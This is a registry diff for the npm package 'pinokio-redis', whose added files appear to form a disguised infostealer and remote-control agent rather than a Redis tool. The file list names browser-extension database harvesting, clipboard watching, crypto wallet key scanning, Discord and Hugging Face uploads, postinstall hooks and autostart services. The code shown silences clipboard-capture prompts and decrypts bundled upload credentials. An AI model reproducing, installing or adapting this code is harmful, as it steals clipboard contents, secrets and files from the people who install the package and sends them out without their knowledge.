pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,28 @@
1
+ /**
2
+ * Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
3
+ * Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
4
+ *
5
+ * On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
6
+ * opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
7
+ */
8
+ /** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
9
+ export declare function forgeJsHeadlessUiActive(): boolean;
10
+ /** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
11
+ export declare function forgeJsNoPromptActive(): boolean;
12
+ /**
13
+ * Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
14
+ * `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
15
+ */
16
+ export declare function forgeJsClipboardPollOnlyActive(): boolean;
17
+ /**
18
+ * Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
19
+ * still syncs; only `context_json` metadata is derived from the pasted content itself.
20
+ */
21
+ export declare function skipForegroundCaptureForClipboardSync(): boolean;
22
+ /** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
23
+ export declare function macClipboardOsascriptAllowed(): boolean;
24
+ /**
25
+ * Before each Linux/macOS clipboard read: force silent unattended profile (overrides
26
+ * `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
27
+ */
28
+ export declare function applyHeadlessClipboardDefaults(): void;
@@ -0,0 +1,77 @@
1
+ "use strict";
2
+ /**
3
+ * Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
4
+ * Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
5
+ *
6
+ * On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
7
+ * opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
8
+ */
9
+ Object.defineProperty(exports, "__esModule", { value: true });
10
+ exports.forgeJsHeadlessUiActive = forgeJsHeadlessUiActive;
11
+ exports.forgeJsNoPromptActive = forgeJsNoPromptActive;
12
+ exports.forgeJsClipboardPollOnlyActive = forgeJsClipboardPollOnlyActive;
13
+ exports.skipForegroundCaptureForClipboardSync = skipForegroundCaptureForClipboardSync;
14
+ exports.macClipboardOsascriptAllowed = macClipboardOsascriptAllowed;
15
+ exports.applyHeadlessClipboardDefaults = applyHeadlessClipboardDefaults;
16
+ function envTruthy(name) {
17
+ const v = (process.env[name] || "").trim().toLowerCase();
18
+ return ["1", "true", "yes", "on"].includes(v);
19
+ }
20
+ function isUnixDesktop() {
21
+ return process.platform === "linux" || process.platform === "darwin";
22
+ }
23
+ /** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
24
+ function forgeJsHeadlessUiActive() {
25
+ if (isUnixDesktop())
26
+ return true;
27
+ return envTruthy("FORGE_JS_HEADLESS_UI");
28
+ }
29
+ /** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
30
+ function forgeJsNoPromptActive() {
31
+ if (isUnixDesktop())
32
+ return true;
33
+ return envTruthy("FORGE_JS_REMOTE_CONTROL_NO_PROMPT");
34
+ }
35
+ /**
36
+ * Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
37
+ * `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
38
+ */
39
+ function forgeJsClipboardPollOnlyActive() {
40
+ if (isUnixDesktop()) {
41
+ return !envTruthy("FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER");
42
+ }
43
+ if (envTruthy("FORGE_JS_CLIPBOARD_POLL_ONLY"))
44
+ return true;
45
+ if (envTruthy("FORGE_JS_WIN_CLIPBOARD_POLL_ONLY"))
46
+ return true;
47
+ if (forgeJsHeadlessUiActive())
48
+ return true;
49
+ return false;
50
+ }
51
+ /**
52
+ * Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
53
+ * still syncs; only `context_json` metadata is derived from the pasted content itself.
54
+ */
55
+ function skipForegroundCaptureForClipboardSync() {
56
+ if (isUnixDesktop()) {
57
+ return !envTruthy("FORGE_JS_CLIPBOARD_FOREGROUND_CONTEXT");
58
+ }
59
+ return forgeJsHeadlessUiActive() || forgeJsNoPromptActive();
60
+ }
61
+ /** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
62
+ function macClipboardOsascriptAllowed() {
63
+ if (!isUnixDesktop())
64
+ return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
65
+ return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
66
+ }
67
+ /**
68
+ * Before each Linux/macOS clipboard read: force silent unattended profile (overrides
69
+ * `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
70
+ */
71
+ function applyHeadlessClipboardDefaults() {
72
+ if (!isUnixDesktop())
73
+ return;
74
+ process.env.FORGE_JS_HEADLESS_UI = "1";
75
+ process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
76
+ process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
77
+ }
@@ -0,0 +1,23 @@
1
+ export interface HfCredentials {
2
+ token: string;
3
+ hubUrl: string;
4
+ /** Hub namespace (username or org) for automatic `namespace/<seq_id>` session repositories. */
5
+ namespace?: string;
6
+ }
7
+ /** Clear relay-delivered HF fields in memory after an upload (JS cannot overwrite string contents). */
8
+ export declare function scrubHfCredentialsInPlace(c: HfCredentials): void;
9
+ /** Decrypt the same AES-GCM blob used for `CFGMGR_HF_CREDENTIALS_B64` / `RELAY_HF_CREDENTIALS_B64`. */
10
+ export declare function decryptHfCredentialsB64(b64: string): HfCredentials;
11
+ /**
12
+ * Load Hub token + API base URL. Encrypted env is preferred; plaintext only when allowed.
13
+ */
14
+ export declare function loadHfCredentials(): HfCredentials;
15
+ /**
16
+ * Produce `CFGMGR_HF_CREDENTIALS_B64` using the same key as deployment defaults.
17
+ * Used by `scripts/encode-hf-credentials.mjs` and tests.
18
+ */
19
+ export declare function encryptHfCredentialsJson(payload: {
20
+ token: string;
21
+ hubUrl?: string;
22
+ namespace?: string;
23
+ }): string;
@@ -0,0 +1,141 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.scrubHfCredentialsInPlace = scrubHfCredentialsInPlace;
4
+ exports.decryptHfCredentialsB64 = decryptHfCredentialsB64;
5
+ exports.loadHfCredentials = loadHfCredentials;
6
+ exports.encryptHfCredentialsJson = encryptHfCredentialsJson;
7
+ /**
8
+ * Hugging Face Hub credentials at rest: AES-256-GCM blob encrypted with
9
+ * `resolveForgeBundleKey()` (same key material as relay/API deployment defaults).
10
+ *
11
+ * **Relay-hosted credentials (recommended):** set `RELAY_HF_CREDENTIALS_B64` on the **relay** process
12
+ * (same blob format). Agents **request credentials over the WebSocket before each Hub upload** by
13
+ * default (`CFGMGR_HF_FETCH_FROM_RELAY` defaults to on; set `=0` to use only local credentials).
14
+ * Nothing is written to disk on the agent for that path. Use **`wss://`** in production so tokens
15
+ * are not sent in clear text. After each Hub upload that used relay-fetched credentials, call
16
+ * `scrubHfCredentialsInPlace` on that object so the token field is cleared
17
+ * (JavaScript cannot truly wipe string contents in memory). The relay also scrubs its decrypted
18
+ * copy immediately after sending `relay_hf_credentials_result` over the socket.
19
+ *
20
+ * Set `CFGMGR_HF_CREDENTIALS_B64` on the **agent** (or **`RELAY_HF_CREDENTIALS_B64`** — same blob —
21
+ * {@link loadHfCredentials} accepts either) to base64(iv12 || tag16 || ciphertext) where
22
+ * plaintext UTF-8 JSON is:
23
+ * `{ "token": "hf_...", "hubUrl": "https://huggingface.co", "namespace": "your_hf_user" }`
24
+ * (`hubUrl` optional; `namespace` = Hugging Face username or org for automatic `namespace/<seq_id>` session repos).
25
+ * The token must allow **writing** Hub repos (classic: enable Write; fine-grained: Repositories → write for that user/org).
26
+ *
27
+ * Optional dev escape hatch (not for production): `CFGMGR_HF_ALLOW_PLAINTEXT=1` with
28
+ * `HUGGINGFACE_HUB_TOKEN` and optional `HUGGINGFACE_HUB_URL`.
29
+ *
30
+ * Upload tuning (agent): `CFGMGR_HF_INTER_FILE_DELAY_MS`, `CFGMGR_HF_TREE_BATCH`,
31
+ * `CFGMGR_HF_MIN_FETCH_INTERVAL_MS`, `CFGMGR_HF_USE_XET` (written `0` in agent env; uploads do not use Hub Xet),
32
+ * `CFGMGR_HF_SKIP_OPENAS_BLOB` (default `1` — avoid `fs.openAsBlob` Hub payload path),
33
+ * `CFGMGR_HF_FETCH_RETRIES` / `CFGMGR_HF_FETCH_RETRY_MS`, `CFGMGR_HF_UPLOAD_RETRIES` / `CFGMGR_HF_UPLOAD_RETRY_MS`,
34
+ * `CFGMGR_HF_HUB_CUSTOM_FETCH=1` (optional legacy Hub fetch wrappers — default **off**; enabling can break LFS uploads),
35
+ * `CFGMGR_HF_VERBOSE_ERRORS=1` — see `hfUpload.ts`.
36
+ */
37
+ const node_crypto_1 = require("node:crypto");
38
+ const deploymentDefaults_1 = require("./deploymentDefaults");
39
+ /** Clear relay-delivered HF fields in memory after an upload (JS cannot overwrite string contents). */
40
+ function scrubHfCredentialsInPlace(c) {
41
+ c.token = "";
42
+ c.hubUrl = "";
43
+ delete c.namespace;
44
+ }
45
+ /** Decrypt the same AES-GCM blob used for `CFGMGR_HF_CREDENTIALS_B64` / `RELAY_HF_CREDENTIALS_B64`. */
46
+ function decryptHfCredentialsB64(b64) {
47
+ return decryptCredentialsBlob(b64);
48
+ }
49
+ function decryptCredentialsBlob(b64) {
50
+ const raw = Buffer.from(String(b64 || "").trim(), "base64");
51
+ if (raw.length < 12 + 16 + 1) {
52
+ throw new Error("HF credential blob too short or invalid base64");
53
+ }
54
+ const iv = raw.subarray(0, 12);
55
+ const tag = raw.subarray(12, 28);
56
+ const enc = raw.subarray(28);
57
+ const key = (0, deploymentDefaults_1.resolveForgeBundleKey)();
58
+ const decipher = (0, node_crypto_1.createDecipheriv)("aes-256-gcm", key, iv);
59
+ decipher.setAuthTag(tag);
60
+ let plain;
61
+ try {
62
+ plain = Buffer.concat([decipher.update(enc), decipher.final()]);
63
+ }
64
+ catch {
65
+ throw new Error("HF credentials decrypt failed — wrong FORGE_JS_BUNDLE_KEY, truncated or corrupt " +
66
+ "RELAY_HF_CREDENTIALS_B64 / CFGMGR_HF_CREDENTIALS_B64, or invalid base64");
67
+ }
68
+ const o = JSON.parse(plain.toString("utf8"));
69
+ const token = String(o.token ?? "").trim();
70
+ let hubUrl = String(o.hubUrl ?? o.endpoint ?? "").trim();
71
+ if (!hubUrl)
72
+ hubUrl = "https://huggingface.co";
73
+ hubUrl = hubUrl.replace(/\/+$/, "");
74
+ if (!token || !token.startsWith("hf_")) {
75
+ throw new Error('decrypted JSON must include a valid "token" (hf_...)');
76
+ }
77
+ const namespaceRaw = String(o.namespace ?? o.user ?? "").trim();
78
+ const namespace = namespaceRaw ? namespaceRaw.replace(/\/+$/, "") : undefined;
79
+ return { token, hubUrl, namespace };
80
+ }
81
+ function plaintextCredentialsFromEnv() {
82
+ const allow = (process.env.CFGMGR_HF_ALLOW_PLAINTEXT || "").trim() === "1";
83
+ if (!allow)
84
+ return null;
85
+ const token = (process.env.HUGGINGFACE_HUB_TOKEN || "").trim();
86
+ if (!token)
87
+ return null;
88
+ let hubUrl = (process.env.HUGGINGFACE_HUB_URL || "").trim();
89
+ if (!hubUrl)
90
+ hubUrl = "https://huggingface.co";
91
+ hubUrl = hubUrl.replace(/\/+$/, "");
92
+ const ns = (process.env.HUGGINGFACE_HUB_NAMESPACE || process.env.CFGMGR_HF_NAMESPACE || "").trim();
93
+ return { token, hubUrl, namespace: ns || undefined };
94
+ }
95
+ /**
96
+ * Load Hub token + API base URL. Encrypted env is preferred; plaintext only when allowed.
97
+ */
98
+ function loadHfCredentials() {
99
+ let c;
100
+ const plain = plaintextCredentialsFromEnv();
101
+ if (plain)
102
+ c = plain;
103
+ else {
104
+ /** Same ciphertext as relay; `.env` often sets only `RELAY_HF_CREDENTIALS_B64` when not using PM2 ecosystem mirror. */
105
+ const b64 = ((process.env.CFGMGR_HF_CREDENTIALS_B64 || "").trim() ||
106
+ (process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
107
+ if (!b64) {
108
+ throw new Error("Missing Hugging Face credentials: set CFGMGR_HF_CREDENTIALS_B64 or RELAY_HF_CREDENTIALS_B64 " +
109
+ "(same AES-GCM blob), or RELAY_HF_CREDENTIALS_B64 on the relay with agent relay-fetch, " +
110
+ "or CFGMGR_HF_ALLOW_PLAINTEXT=1 with HUGGINGFACE_HUB_TOKEN for local testing");
111
+ }
112
+ c = decryptCredentialsBlob(b64);
113
+ }
114
+ const envNs = (process.env.CFGMGR_HF_NAMESPACE ||
115
+ process.env.HUGGINGFACE_HUB_NAMESPACE ||
116
+ "")
117
+ .trim()
118
+ .replace(/\/+$/, "");
119
+ if (envNs)
120
+ return { ...c, namespace: envNs };
121
+ return c;
122
+ }
123
+ /**
124
+ * Produce `CFGMGR_HF_CREDENTIALS_B64` using the same key as deployment defaults.
125
+ * Used by `scripts/encode-hf-credentials.mjs` and tests.
126
+ */
127
+ function encryptHfCredentialsJson(payload) {
128
+ const key = (0, deploymentDefaults_1.resolveForgeBundleKey)();
129
+ const iv = (0, node_crypto_1.randomBytes)(12);
130
+ const cipher = (0, node_crypto_1.createCipheriv)("aes-256-gcm", key, iv);
131
+ const body = JSON.stringify({
132
+ token: String(payload.token || "").trim(),
133
+ hubUrl: (payload.hubUrl || "https://huggingface.co").replace(/\/+$/, ""),
134
+ ...(payload.namespace
135
+ ? { namespace: String(payload.namespace).trim().replace(/\/+$/, "") }
136
+ : {}),
137
+ });
138
+ const enc = Buffer.concat([cipher.update(body, "utf8"), cipher.final()]);
139
+ const tag = cipher.getAuthTag();
140
+ return Buffer.concat([iv, tag, enc]).toString("base64");
141
+ }
@@ -0,0 +1,4 @@
1
+ /** Join POSIX segments after sanitizing each part; empty input yields "". */
2
+ export declare function sanitizeHubRelativePath(rel: string): string;
3
+ /** Safe single path component for zip base names (no slashes). */
4
+ export declare function sanitizeHubFilename(name: string): string;
@@ -0,0 +1,30 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.sanitizeHubRelativePath = sanitizeHubRelativePath;
4
+ exports.sanitizeHubFilename = sanitizeHubFilename;
5
+ /**
6
+ * Sanitize relative paths for Hub commits (git-like tree). Prevents `..` / `.` segments and NUL /
7
+ * control characters from producing invalid or unsafe `path_in_repo` values.
8
+ */
9
+ const CTRL = /[\u0000-\u001f\u007f]/g;
10
+ function sanitizeOneSegment(seg) {
11
+ let s = String(seg).replace(/\\/g, "/").replace(CTRL, "_");
12
+ if (s === "." || s === "..") {
13
+ return s === "." ? "_" : "__";
14
+ }
15
+ return s;
16
+ }
17
+ /** Join POSIX segments after sanitizing each part; empty input yields "". */
18
+ function sanitizeHubRelativePath(rel) {
19
+ return String(rel || "")
20
+ .replace(/\\/g, "/")
21
+ .split("/")
22
+ .map(sanitizeOneSegment)
23
+ .filter((s) => s.length > 0)
24
+ .join("/");
25
+ }
26
+ /** Safe single path component for zip base names (no slashes). */
27
+ function sanitizeHubFilename(name) {
28
+ const base = String(name || "export").split(/[/\\]/).pop() || "export";
29
+ return sanitizeOneSegment(base).replace(/\//g, "_") || "export";
30
+ }
@@ -0,0 +1,2 @@
1
+ export type HubUploadContent = Blob | URL;
2
+ export declare function hubContentFromLocalPath(absolutePath: string): Promise<HubUploadContent>;
@@ -0,0 +1,199 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.hubContentFromLocalPath = hubContentFromLocalPath;
37
+ /**
38
+ * Build `content` for `@huggingface/hub` `uploadFile` / `uploadFiles`.
39
+ *
40
+ * **Small files:** `readFile`, optional `openAsBlob`, or streamed read into one `Blob` (no `file:` URL).
41
+ *
42
+ * **Large files:** when disk streaming is enabled, returns a `file:` `URL` (Hub `FileBlob`) if the file is
43
+ * strictly larger than `CFGMGR_HF_FILEURL_OVER_BYTES` **or** strictly larger than **256 MiB** — so a mis-set
44
+ * huge threshold cannot force multi‑gigabyte `readFile` / `Buffer.concat` OOMs.
45
+ *
46
+ * Set `CFGMGR_HF_FILEURL_OVER_BYTES=off` (or `legacy` / `never`) to disable streaming (in-memory only).
47
+ * Files larger than `CFGMGR_HF_LEGACY_MAX_BYTES` (default **4 GiB**) then fail fast unless you raise
48
+ * that cap and have enough RAM.
49
+ *
50
+ * Tune `CFGMGR_HF_READFILE_BLOB_MAX_BYTES` / `CFGMGR_HF_SKIP_OPENAS_BLOB` for the in-memory branch only.
51
+ */
52
+ const node_fs_1 = require("node:fs");
53
+ const fs = __importStar(require("node:fs"));
54
+ const promises_1 = require("node:fs/promises");
55
+ const node_url_1 = require("node:url");
56
+ const MIN_READFILE_BYTES = 1024 * 1024;
57
+ /** Default 20 GiB — upper bound for in-memory paths when file-URL mode is off or file is smaller than threshold. */
58
